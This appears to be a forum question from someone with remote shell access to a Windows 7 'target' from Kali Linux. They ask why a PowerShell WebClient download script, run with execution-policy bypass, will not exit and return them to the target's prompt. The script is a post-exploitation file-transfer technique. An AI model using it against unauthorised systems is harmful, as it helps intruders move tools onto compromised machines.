title: Termination of Powershell within echo file
body: <p>I'm working on executing powershell scripts through a remote command line and ran into the following issue...</p>
  
  <p>Problem:
  Need to transfer a file or more through an http connection...
  Server: Kali Linux
  Client: Windows 7</p>
  
  <p>I have echo'd commands into a ps1 file and can execute the file as well through the command line but I cannot get the process to terminate after completion of transfer and return me to my target's cmd prompt...</p>
  
  <p>ps1 is as follows:</p>
  
  <pre><code>$storageDir = $pwd
  $webclient = New-Object System.Net.WebClient
  $url = "http://&lt;IPAdressOfTarget&gt;/&lt;FileToGrab&gt;"
  $file = "&lt;SavedName&gt;"
  $webclient.DownloadFile($url,$file)
  </code></pre>
  
  <p>Executed from the kali system with the following: </p>
  
  <pre><code># powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File PowershellFileName.ps1
  </code></pre>
  
  <p>I have appended <strong><em>exit</em></strong> to the bottom of the file but no luck there...</p>
  
  <p><strong><em>crtl</em></strong> + <strong><em>c</em></strong> is only way I'm finding to terminate which also terminates my remote access. </p>
  
  <p>Any suggestions???</p>